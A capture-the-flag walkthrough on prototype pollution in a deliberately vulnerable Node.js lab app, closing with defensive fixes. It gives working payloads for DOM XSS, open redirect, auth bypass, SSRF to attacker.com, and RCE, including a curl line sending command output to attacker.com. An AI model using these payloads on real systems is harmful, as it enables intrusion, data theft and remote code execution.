A few weeks ago, this CTF from XDMIRROR popped up on my feed: a mock corporate IT management panel called BLEACH Enterprise built entirely around prototype pollution. Five distinct gadgets, spanning from client-side DOM XSS and open redirects all the way to server-side auth bypass, SSRF, and full RCE in Node.js—all exploiting the exact same root cause vulnerability.

What makes this CTF compelling isn’t raw difficulty—it’s pedagogical and explicitly designed to illustrate how prototype pollution works—but how clearly it demonstrates that the exact same vulnerability manifests in completely different ways depending on where the execution sink lives. Definitely worth writing up the full walkthrough.


What is Prototype Pollution

Before diving into the CTF challenges, let’s establish the foundational concept.

JavaScript relies on prototype-based inheritance. When accessing a property on an object and that property does not exist on the object itself, the JavaScript engine traverses up the prototype chain until it either finds the property or reaches null. For nearly all standard objects, this chain terminates at Object.prototype—the base prototype from which all other objects inherit.

1
2
3
const obj = {};
console.log(obj.toString); // function — inherited from Object.prototype
console.log(obj.hasOwnProperty('x')); // false — does not exist here either

Prototype pollution occurs when an attacker can write arbitrary properties onto Object.prototype (or another constructor’s prototype) through an insecure recursive merge, clone, or property assignment function that fails to sanitize keys properly. Once Object.prototype.X = true, every object across the entire runtime process that lacks X as an own property will resolve X as true when evaluated.

The three primary avenues to traverse to the prototype:

1
2
3
4
// Three equivalent traversal payloads:
obj["__proto__"]["isAdmin"] = true;
obj["constructor"]["prototype"]["isAdmin"] = true;
Object.prototype["isAdmin"] = true;

Inside an insecure recursive merge function:

1
2
3
4
merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));

const victim = {};
console.log(victim.isAdmin); // true — never defined on victim itself

With this mental model in place, let’s examine the target application.


Setup: BLEACH Enterprise

1
2
3
4
git clone https://github.com/XDMIRROR/client-side-ctf
npm install express cookie-parser
node index.js
# → http://localhost:8081

The application is an IT administration panel serving five frontend routes:

Route File Auth Required
/ login.html No
/ticket index.html No
/dashboard dashboard.html Yes
/networking net.html Yes
/auditor system.html Yes

And three backend API endpoints defined in index.js:

Endpoint Function
POST /api/login Authentication handling
POST /api/ticket Create support ticket (SSRF gadget)
POST /api/run Execute diagnostic command (RCE gadget)

The shared sink across all files is the mergeConfigs function (or merge in certain files), implemented identically on both client and server:

1
2
3
4
5
6
7
8
9
10
11
function mergeConfigs(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
mergeConfigs(target[key], source[key]); // ← recursive call without key validation
} else {
target[key] = source[key];
}
}
return target;
}

There is no hasOwnProperty check, no banned key list, and no validation against __proto__. If source contains the __proto__ property, the for...in loop iterates over it, and the recursive invocation merges its attributes directly into Object.prototype.


Gadget 1 — Client-Side DOM XSS (dashboard.html)

Sink: document.getElementById('widget-area').innerHTML

In dashboard.html, the URL hash is parsed and merged into an internal configuration object:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
let config = { theme: "light", lang: "es" };
if (location.hash) {
mergeConfigs(config, JSON.parse(decodeURIComponent(location.hash.substring(1))));
}

// Later during DOM rendering:
const widgetSettings = config.widgetSettings || {};
const title = widgetSettings.title || texts.widgetTitle;
const template = widgetSettings.template || `<table>...${rowsHtml}...</table>`;

document.getElementById('widget-area').innerHTML = `
<div class="widget-title">${title}</div>
${template}
`;

widgetSettings falls back to an empty object if not supplied in the config. The fallback widgetSettings.template || ... queries the template property on widgetSettings (which is {}). If Object.prototype.template has been polluted, the property lookup traverses up the prototype chain and returns the injected payload string.

Payload:

1
http://localhost:8081/dashboard#{"__proto__":{"template":"<img src=x onerror=alert(document.cookie)>"}}

Execution flow:

  1. mergeConfigs(config, {"__proto__": {"template": "<img...>"}}) is called.
  2. The recursion reaches mergeConfigs(config["__proto__"], {"template": "..."}).
  3. config["__proto__"] points directly to Object.prototype.
  4. Object.prototype.template is assigned "<img src=x onerror=alert(document.cookie)>".
  5. When evaluating widgetSettings.template, the property does not exist on widgetSettings itself $\rightarrow$ the engine traverses the prototype chain $\rightarrow$ discovers the polluted payload.
  6. The string is concatenated into innerHTML $\rightarrow$ DOM XSS executes.

Without prototype pollution: template is undefined on widgetSettings, falling back to the default table HTML. With pollution: arbitrary HTML/JS executes in the victim’s browser context.


Gadget 2 — Client-Side Open Redirect (dashboard.html + net.html)

Sink: window.location.href

In dashboard.html, the logout routine:

1
2
3
4
5
function logout() {
const config = loadConfig();
const target = config.logoutRedirect || "/";
window.location.href = target;
}

Direct parameter injection (without even needing prototype pollution, relying solely on hash parameter control):

1
http://localhost:8081/dashboard#{"logoutRedirect":"https://evil.com"}

Using prototype pollution:

1
#{"__proto__":{"logoutRedirect":"https://evil.com"}}

If config is instantiated as a fresh object that doesn’t explicitly define logoutRedirect as an own property, the polluted prototype dictates the destination URL upon logout.

A similar pattern exists in net.html via returnTo:

1
2
3
4
5
6
7
function pocOpenRedirect() {
let c = load();
let d = c.returnTo || "#";
if (d !== "#") {
window.location.href = d; // ← sink
}
}

Payload: #{"returnTo":"https://evil.com"}. Here, returnTo is consumed from the parsed hash without an intermediate prototype layer, but because load() calls merge() on the hash payload, prototype pollution works interchangeably.


Gadget 3 — Server-Side Auth Bypass (index.js)

This is where things get significantly more impactful: pollution here alters the state of the entire Node.js server process—not just a single victim’s browser tab.

Consider the authentication middleware:

1
2
3
4
5
6
7
8
9
10
11
12
13
const checkAuth = (req, res, next) => {
const authStatus = {}; // ← empty object

if (req.cookies && req.cookies.auth_session) {
authStatus.authenticated = true; // ← assigned only with a valid session cookie
}

if (authStatus.authenticated === true) { // ← evaluates property
next();
} else {
res.status(403).send('...');
}
};

authStatus is instantiated as a clean {} on every incoming request. If no valid session cookie is provided, authStatus.authenticated is never defined as an own property. However, if Object.prototype.authenticated === true via a prior pollution payload, accessing authStatus.authenticated traverses the prototype chain and evaluates to true.

The pollution entry point is the /api/login endpoint:

1
2
3
4
5
6
7
8
9
10
11
12
13
app.post('/api/login', (req, res) => {
let userSession = { authenticated: false, role: "guest" };

mergeConfigs(userSession, req.body); // ← attacker-controlled req.body

if (username === 'admin' && password === 'admin') {
userSession.authenticated = true;
}

if (userSession.authenticated || userSession.isAdmin === true) {
// issue session cookie...
}
});

Because mergeConfigs(userSession, req.body) processes arbitrary JSON sent in the request body, passing a __proto__ payload pollutes Object.prototype.

Payload (curl):

1
2
3
curl -X POST http://localhost:8081/api/login \
-H "Content-Type: application/json" \
-d '{"username":"nobody","password":"wrong","__proto__":{"authenticated":true}}'

What happens under the hood:

  1. mergeConfigs iterates over keys in req.body and encounters __proto__.
  2. As it is an object, it triggers a recursive call: mergeConfigs(userSession["__proto__"], {"authenticated": true}).
  3. userSession["__proto__"] resolves to Object.prototype.
  4. Object.prototype.authenticated is set to true.
  5. The Node.js runtime process now has Object.prototype.authenticated === true for all subsequent HTTP requests across all users.
  6. When checkAuth instantiates authStatus = {} and evaluates authStatus.authenticated, it reads true from the prototype chain and grants access.

This highlights the fundamental difference between client-side and server-side prototype pollution: server-side pollution is globally persistent for the lifetime of the process. Any unauthenticated request sent to /dashboard immediately after this attack bypasses authentication without presenting a cookie.


Gadget 4 — Server-Side SSRF (index.js /api/ticket)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.post('/api/ticket', (req, res) => {
let auditConfig = {
action: "new_ticket",
status: "open"
};

mergeConfigs(auditConfig, req.body); // ← pollution occurs here

const logOptions = {
method: 'GET',
path: `/audit-log?action=${auditConfig.action}&user=${auditConfig.empId || 'unknown'}`
// ← hostname is NOT explicitly defined
};

http.request(logOptions, (response) => { ... }).end();
// If Object.prototype.hostname exists, http.request resolves it from the prototype
});

logOptions does not specify a hostname. By default, Node’s internal http.request defaults to localhost when hostname is missing. Internally, however, http.request builds an options object and checks .hostname. If Object.prototype.hostname = "attacker.com", the internal client routes the outbound HTTP request to the attacker’s host instead.

Payload:

1
2
3
4
curl -X POST http://localhost:8081/api/ticket \
-H "Content-Type: application/json" \
--cookie "auth_session=BLEACH_7e787_TOKEN" \
-d '{"__proto__":{"hostname":"attacker.com","port":80}}'

The server’s internal logging request is redirected to attacker.com instead of localhost. This is direct Server-Side Request Forgery via prototype inheritance.

The server console confirms the hijacked destination:

1
2
console.log(`[!] Internal request routed to: ${logOptions.hostname || 'localhost'}`);
// Outputs: [!] Internal request routed to: attacker.com

Gadget 5 — Server-Side RCE (index.js /api/run)

The most critical gadget in the chain. The endpoint executes the system diagnostic utility uptime using child_process.execFile:

1
2
3
4
5
6
7
8
9
app.post('/api/run', checkAuth, (req, res) => {
let runOptions = {}; // ← empty object

mergeConfigs(runOptions, req.body); // ← pollution here

execFile('/usr/bin/uptime', [], runOptions, (error, stdout, stderr) => {
res.json({ success: true, output: stdout });
});
});

Under normal circumstances, execFile does not invoke a shell, making argument injection and shell metacharacter injection ineffective. However, execFile accepts an options dictionary. If options.shell = true (or points to a custom shell binary like /bin/bash), Node passes the command directly to the specified shell instead of executing it raw. Furthermore, child process execution options include env and argv0.

The cleanest attack vector: polluting the child process environment options (env or shell).

1
2
3
4
5
# Vector 1: Shell invocation with custom argv0
curl -X POST http://localhost:8081/api/run \
-H "Content-Type: application/json" \
--cookie "auth_session=BLEACH_7e787_TOKEN" \
-d '{"__proto__":{"shell":"/bin/bash","argv0":"bash -c '\''id > /tmp/pwned'\''"}}'
1
2
3
4
5
# Vector 2: Environment injection via NODE_OPTIONS (if a Node script is spawned)
curl -X POST http://localhost:8081/api/run \
-H "Content-Type: application/json" \
--cookie "auth_session=BLEACH_7e787_TOKEN" \
-d '{"__proto__":{"env":{"NODE_OPTIONS":"--require /proc/self/environ"}}}'
1
2
3
4
5
# Vector 3: Direct shell option + BASH_ENV execution
curl -X POST http://localhost:8081/api/run \
-H "Content-Type: application/json" \
--cookie "auth_session=BLEACH_7e787_TOKEN" \
-d '{"__proto__":{"shell":true,"env":{"BASH_ENV":"id | curl http://attacker.com/ -d @-"}}}'

Mechanics: execFile('/usr/bin/uptime', [], {shell: true}) abandons secure binary execution and routes the command through a subshell. When BASH_ENV is set in the environment, non-interactive Bash subshells source and execute the referenced command immediately upon spawning.

Why this works: runOptions is initialized as {}. Internally, child_process.execFile checks options.shell, options.env, and options.argv0. Because runOptions lacks these properties, the property access cascades up to Object.prototype, picking up the attacker’s injected values.


Bonus: Additional Gadgets in net.html

net.html includes three PoC routines that act as direct injection sinks:

Fetch hijack — transmits session tokens to an attacker-controlled endpoint:

1
2
3
4
5
function pocFetchHijack() {
let c = load();
let u = c.urlApi || "/internal/ping";
fetch(u); // ← URL controlled via hash
}

Payload: #{"urlApi":"https://attacker.com/steal"}

Script injection — dynamically loads arbitrary external JavaScript:

1
2
3
4
5
6
7
function pocScriptInjection() {
let c = load();
let s = c.analyticsHost || "/dummy.js";
let el = document.createElement('script');
el.src = s; // ← script loaded from attacker host
document.body.appendChild(el);
}

Payload: #{"analyticsHost":"https://attacker.com/malware.js"}

Strictly speaking, these are direct parameter injection vulnerabilities from the URL hash. However, because load() calls merge(), prototype pollution can reach any dependent object that inherits properties through the prototype chain.


Full Unauthenticated Exploit Chain

Chaining the gadgets together from scratch without valid user credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Step 1: Pollute Object.prototype on the server
# (no authentication required on /api/login)
curl -X POST http://localhost:8081/api/login \
-H "Content-Type: application/json" \
-d '{"username":"x","password":"x","__proto__":{"authenticated":true}}'
# → Object.prototype.authenticated = true across the entire process

# Step 2: Access protected routes without a cookie
curl http://localhost:8081/dashboard
# → checkAuth passes because authStatus.authenticated resolves from prototype

# Step 3: Trigger remote code execution
curl -X POST http://localhost:8081/api/run \
-H "Content-Type: application/json" \
--cookie "auth_session=BLEACH_7e787_TOKEN" \
-d '{"__proto__":{"shell":true,"env":{"BASH_ENV":"id | tee /tmp/rce.txt"}}}'

Defensive Mitigations

1. Filter dangerous keys before merging:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const BLOCKED_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

function mergeConfigs(target, source) {
for (let key in source) {
if (BLOCKED_KEYS.has(key)) continue; // ← block prototype keys
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
mergeConfigs(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

2. Enforce hasOwnProperty in property loops:

1
2
3
4
for (let key in source) {
if (!Object.prototype.hasOwnProperty.call(source, key)) continue;
// ...
}

3. Use prototype-less objects for sensitive configurations:

1
const config = Object.create(null);  // no prototype chain

An object created with Object.create(null) has neither __proto__ nor any connection to Object.prototype. Injections into Object.prototype will have zero impact on it. This is a critical defense for option dictionaries passed to sensitive APIs such as child_process.execFile or http.request.

4. Strict input validation with JSON Schema:

1
2
3
4
5
6
7
8
9
10
11
12
const Ajv = require('ajv');
const ajv = new Ajv();
const schema = {
type: 'object',
properties: {
username: { type: 'string' },
password: { type: 'string' }
},
additionalProperties: false // ← rejects __proto__ and all unexpected properties
};
const validate = ajv.compile(schema);
if (!validate(req.body)) return res.status(400).json({ error: 'Invalid input' });

5. Freeze Object.prototype at startup:

1
2
Object.freeze(Object.prototype);
// Any attempt to modify properties on the prototype throws in strict mode or fails silently

Freezing the prototype at application startup prevents modifications across the runtime. While effective, note that this can occasionally break third-party libraries that legitimately extend built-in prototypes.


The CTF does an excellent job demonstrating the complete blast radius of prototype pollution: from an innocent client-side innerHTML sink to an unauthenticated server-side execFile RCE, all stemming from the exact same unvalidated merge utility. In real-world environments, server-side prototype pollution is uniquely dangerous because it affects the global runtime process across all concurrent users, requiring zero interaction from the target victim.

Repository: https://github.com/XDMIRROR/client-side-ctf